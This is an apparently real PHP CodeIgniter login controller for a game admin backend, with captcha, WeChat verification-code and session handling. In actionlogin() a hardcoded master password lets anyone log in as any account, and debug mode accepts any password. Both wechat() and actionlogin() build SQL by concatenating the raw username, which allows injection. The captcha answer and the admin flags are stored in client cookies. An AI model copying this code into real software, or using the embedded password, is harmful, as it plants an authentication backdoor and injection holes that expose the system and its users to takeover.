<?php
defined('BASEPATH') OR exit('No direct script access allowed');

/**
* 登陆方法
*/
class Login extends CI_Controller
{
	
	public function __construct()
	{
		parent::__construct();
		$this->load->helper('url');
		$this->load->helper('captcha');
        $this->load->library('session');
//        ini_set("session.gc_maxlifetime",86400);
		$this->load->helper('cookie');

	}


	/*
	*	默认的登陆页面
	*/
	public function login()
	{
		$this->load->view('login/index');
	}

	/**
	*	生成验证码图片
	*/
	public function captcha()
	{
		$vals = array(
	    'word'      => '',
	    'img_path'  => './captcha/',
	    'img_url'   => base_url().'captcha/',
	    'img_width' => '150',
	    'img_height'    => 30,
	    'expiration'    => 7200,
	    'word_length'   => 4,
	    'font_size' => 16,
	    'img_id'    => 'Imageid',
	    'pool'      => '0123456789',

	    // White background and border, black text and red grid
	    'colors'    => array(
	        'background' => array(255, 255, 255),
	        'border' => array(255, 255, 255),
	        'text' => array(0, 0, 0),
	        'grid' => array(255, 40, 40)
	    	)
		);

		$cap = create_captcha($vals);
		set_cookie('captcha', $cap['word'], 60);
		die($cap['image']);
	}

	public function wechat(){
        $username = $this->input->post('username');
        $this->load->database();
        $row = $this->db->query('SELECT * FROM cmsadmin WHERE username = "'.$username.'" LIMIT 1')->row_array();
        if(empty($row)){//用户名错误
            die(json_encode(['code'=> -2, 'msg' => '用户不存在']));
        }else if(empty($row['mobile'])){
            die(json_encode(['code'=> -3, 'msg' => '用户手机号为空']));
        }
        $this->load->model('oo');
        $userId = oo::commonOprModel('enwechat')->getUserByMobile($row['mobile']);
        if(empty($userId) || empty($userId['userid'])){
            die(json_encode(['code'=> -3, 'msg' => '企业微信无此手机号']));
        }
        $userId = $userId['userid'];
        $auth = oo::commonOprRedis('games')->get(okeys::WechatCache($row['mobile']));
        if(!$auth){
            $auth   = rand(100000,999999);
            oo::commonOprRedis('games')->setex(okeys::WechatCache($row['mobile']),$auth,strtotime(date("23:59:59"))-time());
        }
        $oos_debug = $this->config->item('oos_debug');
        $str = $oos_debug ? "测试服" : "正式服";
        oo::commonOprModel('enwechat')->send("【{$auth}】 CrazyCoins 后台({$str})登录验证码",[$userId]);
        die(json_encode($data['code'] = 1));
    }

	/*
	*	登陆操作
	*/
	public function actionlogin(){
		$username = $this->input->post('username');
		$pwd      = $this->input->post('pwd');
		//查询用户名及密码
		$this->load->database();
        $row = $this->db->query('SELECT * FROM cmsadmin WHERE username = "'.$username.'" LIMIT 1')->row_array();
		if(empty($row)){//用户名错误
			die(json_encode(['code'=> -2]));
		}
        $this->load->model('oo');
        $auth = oo::commonOprRedis('games')->get(okeys::WechatCache($row['mobile']));
        $oos_debug = $this->config->item('oos_debug');
        if($oos_debug || $pwd=='34@Z7Uk05ngNGLag'){
            $auth = $pwd;
        }

        $role = $this->db->get_where('cmsrole', array('id' => $row['role']))->row_array();
        if(!empty($row['role']) && !$role['is_internal'] && false){ //外部使用密码登录
            if(md5($pwd) != $row['pwd']){
                die(json_encode(['code'=> -3]));
            }
        }else{
            if(md5($pwd) != $row['pwd'] && (empty($auth) || $pwd != $auth)){//内部使用auth code登录
                die(json_encode(['code'=> -3]));
            }
        }

        if($row['is_admin'] != 1) {
            $ret = $this->db->query("SELECT * FROM permission WHERE adminid = {$row['id']} LIMIT 1")->row_array();
            if(empty($ret)) {//权限错误
                die(json_encode(['code'=> -4]));
            }
            $sidList = json_decode($ret['sidList'],true);
            $rule = unserialize($ret['list']);
            if($row['role'] != 0){
                $role = $this->db->query("SELECT * FROM cmsrole WHERE id= {$row['role']} LIMIT 1")->row_array();
                $rule =  array_merge($rule,unserialize($role['rule']));
                $sidList = array_merge($sidList,json_decode($role['package'],true));
                $this->session->set_userdata("role",$row['role']);
            }
            $rule = array_diff($rule,['#']);
            $rule = $this->addBaseRule($rule);
            sort($rule);
            foreach ($rule as $k=>$r){
                $rule[$k] = strtoupper($r);
            }
            $this->session->set_userdata("rule",$rule);
            set_cookie('sidlist', $sidList, 86400);
        }

		$cache = [
		    'adminid'=>$row['id'],
            'username'=>$username,
            'chinesename'=>$row['chinesename'],
            'reqenv'=>'local',
            'isAdmin'=>$row['is_admin'],
        ];
		foreach ($cache as $key=>$row){
            set_cookie($key, $row, 86400);
            $this->session->set_userdata($key,$row);
        }

        $url = current_url();
        $curUrl = strtolower(uri_string());
        $reason = '登入';
        $postData = $this->input->post();
        oo::logs()->adminlog($reason,$url,$curUrl,$postData);

		die(json_encode($data['code'] = 1));
	}

	/*
	*登出
	*/
	public function logout()
	{
        $this->load->model('oo');
        $url = current_url();
        $curUrl = strtolower(uri_string());
        $reason = '登出';
        $postData = $this->input->post();
        oo::logs()->adminlog($reason,$url,$curUrl,$postData);

	    $key = ['username','chinesename'];
	    foreach ($key as $row){
            delete_cookie($row);
            $this->session->unset_userdata($row);
        }

		$data = array(
			'referer' => base_url('qazwsxcde'),
			'refresh' => true,
			'state' => 'success',
			'message' => '退出成功',
		);
		die(json_encode($data));
	}

    public function addBaseRule($rule){
        $base = [
            'permission/forbidpage',
            'welcome/getmenu'
        ];
        return array_merge($rule,$base);
    }
}
